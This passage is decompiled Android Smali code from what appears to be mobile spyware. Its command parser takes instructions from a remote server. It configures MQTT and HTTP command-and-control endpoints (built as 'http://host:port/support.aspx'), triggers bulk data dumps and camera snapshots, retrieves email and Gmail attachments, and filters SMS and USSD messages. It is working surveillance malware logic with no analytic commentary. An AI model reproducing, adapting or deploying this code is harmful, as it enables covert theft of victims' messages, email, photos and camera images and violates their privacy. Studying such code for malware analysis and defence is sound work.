      421invoke-static {v0}, Lcom/network/b/b;->b(Z)V
      423invoke-static {v1}, Lcom/network/android/c/a/b;->a(Ljava/lang/String;)V
      425iget-object v0, p0, Lcom/network/android/x;->M:Landroid/content/Context;
      427invoke-static {v0}, Lcom/network/b/b;->c(Landroid/content/Context;)V
      428try_end_244: goto/16 :goto_31
      429catch_246: move-exception v0
      430try_start_247: new-instance v2, Ljava/lang/StringBuilder;
      432const-string v3, "ParseResponseCommands mqtt exception: "
      434invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      436invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      437move-result-object v3
      439invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      440move-result-object v2
      442invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      443move-result-object v2
      445invoke-static {v2, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      446if-eqz v1, :cond_31
      447const/4 v0, 0x0
      448const/16 v2, 0x1a
      450const-string v3, "LOG_CHANGE_SETTING_REQ_FAILED"
      452invoke-static {v1}, Lcom/network/h/b;->c(Ljava/lang/String;)Ljava/lang/Integer;
      453move-result-object v4
      455invoke-static {v0, v2, v3, v4}, Lcom/network/android/c/a/b;->a(ISLjava/lang/String;Ljava/lang/Object;)V
      456const/4 v0, 0x0
      457const/16 v2, -0x3cae
      459const-string v3, ""
      461invoke-static {v1}, Lcom/network/h/b;->c(Ljava/lang/String;)Ljava/lang/Integer;
      462move-result-object v1
      464invoke-static {v0, v2, v3, v1}, Lcom/network/android/c/a/b;->a(ISLjava/lang/String;Ljava/lang/Object;)V
      465try_end_277: goto/16 :goto_31
      466cond_279: mul-int/lit8 v3, v3, 0x3c
      467mul-int/lit8 v3, v3, 0x3c
      468try_start_27d:
      469invoke-static {v3}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
      470move-result-object v3
      472invoke-static {v3}, Lcom/network/b/b;->a(Ljava/lang/Integer;)V
      473goto/16 :goto_19a
      474cond_286: move v0, v2
      475goto/16 :goto_1b3
      476cond_289: new-instance v2, Ljava/lang/StringBuilder;
      478const-string v3, "ParseResponseCommands PollingManager pollingInterval NO pollingInterval: "
      480invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      482invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      483move-result-object v0
      485invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      486move-result-object v0
      488invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      489try_end_29b: goto/16 :goto_238
      490try_start_29c:
      491const-string v0, "addrs"
      493invoke-virtual {p2, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
      494move-result v0
      495if-eqz v0, :cond_2b2
      496iget-boolean v0, p0, Lcom/network/android/x;->h:Z
      497if-eqz v0, :cond_31
      499const-string v0, "ParseResponseCommands ADDRS"
      501invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      502const/4 v0, 0x1
      503iput-boolean v0, p0, Lcom/network/android/x;->k:Z
      504goto/16 :goto_31
      505cond_2b2:
      506const-string v0, "addr"
      508invoke-virtual {p2, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
      509move-result v0
      510if-eqz v0, :cond_2f8
      511iget-boolean v0, p0, Lcom/network/android/x;->k:Z
      512if-eqz v0, :cond_31
      514const-string v0, "ParseResponseCommands ADDR"
      516invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      517const/4 v0, 0x1
      518iput-boolean v0, p0, Lcom/network/android/x;->l:Z
      520const-string v0, "host"
      522invoke-interface {p4, v0}, Lorg/xml/sax/Attributes;->getValue(Ljava/lang/String;)Ljava/lang/String;
      523move-result-object v0
      525const-string v1, "port"
      527invoke-interface {p4, v1}, Lorg/xml/sax/Attributes;->getValue(Ljava/lang/String;)Ljava/lang/String;
      528move-result-object v1
      530sget-object v2, Lcom/network/android/x;->z:Ljava/util/Vector;
      531new-instance v3, Ljava/lang/StringBuilder;
      533const-string v4, "http://"
      535invoke-direct {v3, v4}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      537invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      538move-result-object v0
      539const/16 v3, 0x3a
      541invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder;
      542move-result-object v0
      544invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      545move-result-object v0
      547const-string v1, "/support.aspx"
      549invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      550move-result-object v0
      552invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      553move-result-object v0
      555invoke-virtual {v2, v0}, Ljava/util/Vector;->add(Ljava/lang/Object;)Z
      556goto/16 :goto_31
      557cond_2f8:
      558const-string v0, "callerIds"
      560invoke-virtual {p2, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
      561move-result v0
      562if-eqz v0, :cond_30e
      564const-string v0, "ParseResponseCommands CALLER_IDS"
      566invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      567iget-boolean v0, p0, Lcom/network/android/x;->h:Z
      568if-eqz v0, :cond_31
      569const/4 v0, 0x1
      570iput-boolean v0, p0, Lcom/network/android/x;->m:Z
      571goto/16 :goto_31
      572cond_30e:
      573const-string v0, "callerId"
      575invoke-virtual {p2, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
      576move-result v0
      577if-eqz v0, :cond_324
      578iget-boolean v0, p0, Lcom/network/android/x;->m:Z
      579if-eqz v0, :cond_31
      581const-string v0, "ParseResponseCommands CALLER_ID"
      583invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      584const/4 v0, 0x1
      585iput-boolean v0, p0, Lcom/network/android/x;->o:Z
      586goto/16 :goto_31
      587cond_324:
      588const-string v0, "messageFilters"
      590invoke-virtual {p2, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
      591move-result v0
      592if-eqz v0, :cond_33f
      594const-string v0, "ParseResponseCommands messagefilters"
      596invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      597iget-boolean v0, p0, Lcom/network/android/x;->h:Z
      598if-eqz v0, :cond_31
      599const/4 v0, 0x1
      600iput-boolean v0, p0, Lcom/network/android/x;->i:Z
      602const-string v0, "ParseResponseCommands messagefilters isSettingsCommand"
      604invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      605goto/16 :goto_31
      606cond_33f:
      607const-string v0, "messageFilter"
      609invoke-virtual {p2, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
      610move-result v0
      611if-eqz v0, :cond_3e3
      613const-string v0, "ParseResponseCommands messagefilter"
      615invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      616iget-boolean v0, p0, Lcom/network/android/x;->i:Z
      617if-eqz v0, :cond_31
      619const-string v0, "ParseResponseCommands messagefilter isSettingsBlocking"
      621invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      622const/4 v0, 0x1
      623iput-boolean v0, p0, Lcom/network/android/x;->j:Z
      625const-string v0, "type"
      627invoke-interface {p4, v0}, Lorg/xml/sax/Attributes;->getValue(Ljava/lang/String;)Ljava/lang/String;
      628move-result-object v0
      630const-string v1, "expression"
      632invoke-interface {p4, v1}, Lorg/xml/sax/Attributes;->getValue(Ljava/lang/String;)Ljava/lang/String;
      633move-result-object v1
      634new-instance v2, Ljava/lang/StringBuilder;
      636const-string v3, "ParseResponseCommands messagefilter type: "
      638invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      640invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      641move-result-object v2
      643const-string v3, " , exp: "
      645invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      646move-result-object v2
      648invoke-virtual {v2, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      649move-result-object v2
      651invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      652move-result-object v2
      654invoke-static {v2}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      656const-string v2, "sms"
      658invoke-virtual {v0, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
      659move-result v2
      660if-eqz v2, :cond_3a1
      661new-instance v0, Ljava/lang/StringBuilder;
      663const-string v2, "ParseResponseCommands add ussd exp:"
      665invoke-direct {v0, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      667invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      668move-result-object v0
      670invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      671move-result-object v0
      673invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      675sget-object v0, Lcom/network/android/x;->x:Ljava/util/Vector;
      677invoke-virtual {v0, v1}, Ljava/util/Vector;->add(Ljava/lang/Object;)Z
      678goto/16 :goto_31
      679cond_3a1:
      680const-string v2, "ussd"
      682invoke-virtual {v0, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
      683move-result v2
      684if-eqz v2, :cond_3c2
      685new-instance v0, Ljava/lang/StringBuilder;
      687const-string v2, "ParseResponseCommands add ussd exp:"
      689invoke-direct {v0, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      691invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      692move-result-object v0
      694invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      695move-result-object v0
      697invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      699sget-object v0, Lcom/network/android/x;->y:Ljava/util/Vector;
      701invoke-virtual {v0, v1}, Ljava/util/Vector;->add(Ljava/lang/Object;)Z
      702goto/16 :goto_31
      703cond_3c2:
      704const-string v2, "both"
      706invoke-virtual {v0, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
      707move-result v0
      708if-eqz v0, :cond_31
      709new-instance v0, Ljava/lang/StringBuilder;
      711const-string v2, "ParseResponseCommands add ussd exp:"
      713invoke-direct {v0, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      715invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      716move-result-object v0
      718invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      719move-result-object v0
      721invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      723sget-object v0, Lcom/network/android/x;->y:Ljava/util/Vector;
      725invoke-virtual {v0, v1}, Ljava/util/Vector;->add(Ljava/lang/Object;)Z
      726goto/16 :goto_31
      727cond_3e3:
      728const-string v0, "moSms"
      730invoke-virtual {p2, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
      731move-result v0
      732if-eqz v0, :cond_407
      733iget-boolean v0, p0, Lcom/network/android/x;->p:Z
      734if-eqz v0, :cond_3f9
      736const-string v0, "ParseResponseCommands MO_SMS isSettingsMoSmss"
      738invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      739const/4 v0, 0x1
      740iput-boolean v0, p0, Lcom/network/android/x;->q:Z
      741goto/16 :goto_31
      742cond_3f9: iget-boolean v0, p0, Lcom/network/android/x;->h:Z
      743if-eqz v0, :cond_31
      745const-string v0, "ParseResponseCommands MO_SMS isSettingsCommand"
      747invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      748const/4 v0, 0x1
      749iput-boolean v0, p0, Lcom/network/android/x;->p:Z
      750goto/16 :goto_31
      751cond_407:
      752const-string v0, "mqttSrv"
      754invoke-virtual {p2, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
      755move-result v0
      756if-eqz v0, :cond_507
      757iget-boolean v0, p0, Lcom/network/android/x;->h:Z
      758try_end_411: if-eqz v0, :cond_31
      759const/4 v0, 0x1
      760try_start_414: iput-boolean v0, p0, Lcom/network/android/x;->n:Z
      762const-string v0, "password"
      764invoke-interface {p4, v0}, Lorg/xml/sax/Attributes;->getValue(Ljava/lang/String;)Ljava/lang/String;
      765move-result-object v0
      767const-string v1, "username"
      769invoke-interface {p4, v1}, Lorg/xml/sax/Attributes;->getValue(Ljava/lang/String;)Ljava/lang/String;
      770move-result-object v1
      772const-string v2, "idPref"
      774invoke-interface {p4, v2}, Lorg/xml/sax/Attributes;->getValue(Ljava/lang/String;)Ljava/lang/String;
      775move-result-object v2
      777const-string v3, "qos"
      779invoke-interface {p4, v3}, Lorg/xml/sax/Attributes;->getValue(Ljava/lang/String;)Ljava/lang/String;
      780move-result-object v3
      782invoke-static {v3}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
      783move-result v3
      785const-string v4, "kaTimer"
      787invoke-interface {p4, v4}, Lorg/xml/sax/Attributes;->getValue(Ljava/lang/String;)Ljava/lang/String;
      788move-result-object v4
      790invoke-static {v4}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
      791move-result v4
      793const-string v5, "recCount"
      795invoke-interface {p4, v5}, Lorg/xml/sax/Attributes;->getValue(Ljava/lang/String;)Ljava/lang/String;
      796move-result-object v5
      798invoke-static {v5}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
      799move-result v5
      801const-string v6, "con"
      803invoke-interface {p4, v6}, Lorg/xml/sax/Attributes;->getValue(Ljava/lang/String;)Ljava/lang/String;
      804move-result-object v6
      806invoke-static {v6}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
      807move-result v6
      809const-string v7, "recInt"
      811invoke-interface {p4, v7}, Lorg/xml/sax/Attributes;->getValue(Ljava/lang/String;)Ljava/lang/String;
      812move-result-object v7
      814invoke-static {v7}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
      815move-result v7
      817const-string v8, "host"
      819invoke-interface {p4, v8}, Lorg/xml/sax/Attributes;->getValue(Ljava/lang/String;)Ljava/lang/String;
      820move-result-object v8
      822const-string v9, "port"
      824invoke-interface {p4, v9}, Lorg/xml/sax/Attributes;->getValue(Ljava/lang/String;)Ljava/lang/String;
      825move-result-object v9
      826const/4 v10, 0x1
      828invoke-static {v10}, Lcom/network/b/b;->b(Z)V
      830invoke-static {v0}, Lcom/network/b/b;->c(Ljava/lang/String;)V
      832invoke-static {v6}, Lcom/network/b/b;->b(I)V
      834invoke-static {v1}, Lcom/network/b/b;->d(Ljava/lang/String;)V
      836invoke-static {v2}, Lcom/network/b/b;->e(Ljava/lang/String;)V
      838invoke-static {v3}, Lcom/network/b/b;->h(I)V
      840invoke-static {v4}, Lcom/network/b/b;->i(I)V
      842invoke-static {v5}, Lcom/network/b/b;->j(I)V
      844invoke-static {v7}, Lcom/network/b/b;->k(I)V
      846invoke-static {v8}, Lcom/network/b/b;->g(Ljava/lang/String;)V
      848invoke-static {v9}, Lcom/network/b/b;->f(Ljava/lang/String;)V
      849new-instance v5, Ljava/lang/StringBuilder;
      851const-string v6, "ParseResponseCommands found MQTT Password: "
      853invoke-direct {v5, v6}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      855invoke-virtual {v5, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      856move-result-object v0
      858const-string v5, " username: "
      860invoke-virtual {v0, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      861move-result-object v0
      863invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      864move-result-object v0
      866invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      867move-result-object v0
      869invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      870new-instance v0, Ljava/lang/StringBuilder;
      872const-string v1, "ParseResponseCommands found MQTT idPref: "
      874invoke-direct {v0, v1}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      876invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      877move-result-object v0
      879const-string v1, " qos: "
      881invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      882move-result-object v0
      884invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      885move-result-object v0
      887invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      888move-result-object v0
      890invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      891new-instance v0, Ljava/lang/StringBuilder;
      893const-string v1, "ParseResponseCommands found MQTT kaTimer: "
      895invoke-direct {v0, v1}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      897invoke-virtual {v0, v4}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      898move-result-object v0
      900const-string v1, " recInt: "
      902invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      903move-result-object v0
      905invoke-virtual {v0, v7}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      906move-result-object v0
      908invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      909move-result-object v0
      911invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      913iget-object v0, p0, Lcom/network/android/x;->M:Landroid/content/Context;
      915invoke-static {v0}, Lcom/network/b/b;->c(Landroid/content/Context;)V
      916const/4 v0, 0x1
      917sput-boolean v0, Lcom/network/media/CoreReceiver;->b:Z
      918try_end_4e4: goto/16 :goto_31
      919catch_4e6: move-exception v0
      920try_start_4e7: new-instance v1, Ljava/lang/StringBuilder;
      922const-string v2, "ParseResponseCommands mqtt exception: "
      924invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      926invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      927move-result-object v2
      929invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      930move-result-object v1
      932invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      933move-result-object v1
      935invoke-static {v1, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      936const/4 v0, 0x1
      937const/16 v1, 0x65
      939const-string v2, "MOSQ_ERR_INVAL"
      941invoke-static {v0, v1, v2}, Lcom/network/android/c/a/b;->a(ISLjava/lang/String;)V
      942goto/16 :goto_31
      943cond_507:
      944const-string v0, "dumpCmd"
      946invoke-virtual {p2, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
      947try_end_50c: move-result v0
      948if-eqz v0, :cond_578
      949try_start_50f: iget-boolean v0, p0, Lcom/network/android/x;->g:Z
      950if-eqz v0, :cond_31
      951const/4 v0, 0x1
      952iput-boolean v0, p0, Lcom/network/android/x;->r:Z
      954const-string v0, "ack"
      956invoke-interface {p4, v0}, Lorg/xml/sax/Attributes;->getValue(Ljava/lang/String;)Ljava/lang/String;
      957move-result-object v1
      959sget-object v0, Lcom/network/android/a/c;->a:Ljava/util/Vector;
      961invoke-virtual {v0, v1}, Ljava/util/Vector;->add(Ljava/lang/Object;)Z
      963const-string v0, "dataTypes"
      965invoke-interface {p4, v0}, Lorg/xml/sax/Attributes;->getValue(Ljava/lang/String;)Ljava/lang/String;
      966move-result-object v0
      968invoke-static {v0}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
      969move-result v0
      970new-instance v2, Ljava/lang/StringBuilder;
      972const-string v3, "ParseResponseCommands found dump command. running with bitwise "
      974invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      976invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      977move-result-object v2
      979invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      980move-result-object v2
      982invoke-static {v2}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      984invoke-static {v0}, Lcom/network/media/f;->a(I)V
      986invoke-static {v1}, Lcom/network/media/f;->a(Ljava/lang/String;)V
      987try_end_543: goto/16 :goto_31
      988catch_545: move-exception v0
      989try_start_546: new-instance v2, Ljava/lang/StringBuilder;
      991const-string v3, "ParseResponseCommands dump command exception: "
      993invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      995invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      996move-result-object v3
      998invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      999move-result-object v2
      1001invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      1002move-result-object v2
      1004invoke-static {v2, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      1005if-eqz v1, :cond_31
      1006const/4 v0, 0x1
      1007const/16 v2, 0x7d3
      1009const-string v3, "LOG_FAIL_BIG_DUMP"
      1011invoke-static {v1}, Lcom/network/h/b;->c(Ljava/lang/String;)Ljava/lang/Integer;
      1012move-result-object v4
      1014invoke-static {v0, v2, v3, v4}, Lcom/network/android/c/a/b;->a(ISLjava/lang/String;Ljava/lang/Object;)V
      1015const/4 v0, 0x1
      1016const/16 v2, -0x3cae
      1018const-string v3, ""
      1020invoke-static {v1}, Lcom/network/h/b;->c(Ljava/lang/String;)Ljava/lang/Integer;
      1021move-result-object v1
      1023invoke-static {v0, v2, v3, v1}, Lcom/network/android/c/a/b;->a(ISLjava/lang/String;Ljava/lang/Object;)V
      1024goto/16 :goto_31
      1025cond_578:
      1026const-string v0, "camCmd"
      1028invoke-virtual {p2, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
      1029try_end_57d: move-result v0
      1030if-eqz v0, :cond_5fc
      1031try_start_580: iget-boolean v0, p0, Lcom/network/android/x;->g:Z
      1032if-eqz v0, :cond_31
      1033const/4 v0, 0x1
      1034iput-boolean v0, p0, Lcom/network/android/x;->J:Z
      1036const-string v0, "ack"
      1038invoke-interface {p4, v0}, Lorg/xml/sax/Attributes;->getValue(Ljava/lang/String;)Ljava/lang/String;
      1039move-result-object v1
      1041sget-object v0, Lcom/network/android/a/c;->a:Ljava/util/Vector;
      1043invoke-virtual {v0, v1}, Ljava/util/Vector;->add(Ljava/lang/Object;)Z
      1045const-string v0, "source"
      1047invoke-interface {p4, v0}, Lorg/xml/sax/Attributes;->getValue(Ljava/lang/String;)Ljava/lang/String;
      1048move-result-object v0
      1050invoke-static {v0}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
      1051move-result v0
      1053const-string v2, "res"
      1055invoke-interface {p4, v2}, Lorg/xml/sax/Attributes;->getValue(Ljava/lang/String;)Ljava/lang/String;
      1056move-result-object v2
      1058invoke-static {v2}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
      1059move-result v2
      1060new-instance v3, Ljava/lang/StringBuilder;
      1062const-string v4, "ParseResponseCommands Camera. running with Source bitwise "
      1064invoke-direct {v3, v4}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      1066invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      1067move-result-object v3
      1069const-string v4, " resolution "
      1071invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      1072move-result-object v3
      1074invoke-virtual {v3, v2}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      1075move-result-object v3
      1077invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      1078move-result-object v3
      1080invoke-static {v3}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      1082iget-object v3, p0, Lcom/network/android/x;->M:Landroid/content/Context;
      1084invoke-static {v3, v1, v0, v2}, Lcom/network/media/a;->a(Landroid/content/Context;Ljava/lang/String;II)V
      1085try_end_5c7: goto/16 :goto_31
      1086catch_5c9: move-exception v0
      1087try_start_5ca: new-instance v2, Ljava/lang/StringBuilder;
      1089const-string v3, "ParseResponseCommands dump command exception: "
      1091invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      1093invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      1094move-result-object v3
      1096invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      1097move-result-object v2
      1099invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      1100move-result-object v2
      1102invoke-static {v2, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      1103if-eqz v1, :cond_31
      1104const/4 v0, 0x0
      1105const/16 v2, 0x19
      1107const-string v3, "LOG_CAMERA_SNAPSHOT_FAILED"
      1109invoke-static {v1}, Lcom/network/h/b;->c(Ljava/lang/String;)Ljava/lang/Integer;
      1110move-result-object v4
      1112invoke-static {v0, v2, v3, v4}, Lcom/network/android/c/a/b;->a(ISLjava/lang/String;Ljava/lang/Object;)V
      1113const/4 v0, 0x0
      1114const/16 v2, -0x3cae
      1116const-string v3, ""
      1118invoke-static {v1}, Lcom/network/h/b;->c(Ljava/lang/String;)Ljava/lang/Integer;
      1119move-result-object v1
      1121invoke-static {v0, v2, v3, v1}, Lcom/network/android/c/a/b;->a(ISLjava/lang/String;Ljava/lang/Object;)V
      1122goto/16 :goto_31
      1123cond_5fc:
      1124const-string v0, "emailAttCmd"
      1126invoke-virtual {p2, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
      1127try_end_601: move-result v0
      1128if-eqz v0, :cond_6a7
      1129try_start_604: iget-boolean v0, p0, Lcom/network/android/x;->g:Z
      1130if-eqz v0, :cond_31
      1131const/4 v0, 0x1
      1132iput-boolean v0, p0, Lcom/network/android/x;->K:Z
      1134const-string v0, "ack"
      1136invoke-interface {p4, v0}, Lorg/xml/sax/Attributes;->getValue(Ljava/lang/String;)Ljava/lang/String;
      1137move-result-object v1
      1139sget-object v0, Lcom/network/android/a/c;->a:Ljava/util/Vector;
      1141invoke-virtual {v0, v1}, Ljava/util/Vector;->add(Ljava/lang/Object;)Z
      1143const-string v0, "emailRecordId"
      1145invoke-interface {p4, v0}, Lorg/xml/sax/Attributes;->getValue(Ljava/lang/String;)Ljava/lang/String;
      1146move-result-object v0
      1148const-string v2, "attRecordId"
      1150invoke-interface {p4, v2}, Lorg/xml/sax/Attributes;->getValue(Ljava/lang/String;)Ljava/lang/String;
      1151move-result-object v2
      1152new-instance v3, Ljava/lang/StringBuilder;
      1154const-string v4, "ParseResponseCommands get email attachment attRecordId: "
      1156invoke-direct {v3, v4}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      1158invoke-virtual {v3, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      1159move-result-object v3
      1161const-string v4, ", emailRecordId"
      1163invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      1164move-result-object v3
      1166invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      1167move-result-object v3
      1169invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      1170move-result-object v3
      1172invoke-static {v3}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      1173if-eqz v1, :cond_643
      1175invoke-static {v1}, Lcom/network/android/c/a/b;->a(Ljava/lang/String;)V
      1176cond_643:
      1177iget-object v3, p0, Lcom/network/android/x;->M:Landroid/content/Context;
      1179invoke-static {v0}, Lcom/network/android/r;->a(Ljava/lang/String;)Z
      1180move-result v4
      1181if-eqz v4, :cond_69b
      1182new-instance v4, Landroid/os/HandlerThread;
      1184const-string v5, "getAttachmentFileCommandGmailThread"
      1186invoke-direct {v4, v5}, Landroid/os/HandlerThread;-><init>(Ljava/lang/String;)V
      1188invoke-virtual {v4}, Landroid/os/HandlerThread;->start()V
      1189new-instance v5, Landroid/os/Handler;
      1191invoke-virtual {v4}, Landroid/os/HandlerThread;->getLooper()Landroid/os/Looper;
      1192move-result-object v4
      1194invoke-direct {v5, v4}, Landroid/os/Handler;-><init>(Landroid/os/Looper;)V
      1195new-instance v4, Lcom/network/android/t;
      1197invoke-direct {v4, v0, v2, v3, v1}, Lcom/network/android/t;-><init>(Ljava/lang/String;Ljava/lang/String;Landroid/content/Context;Ljava/lang/String;)V
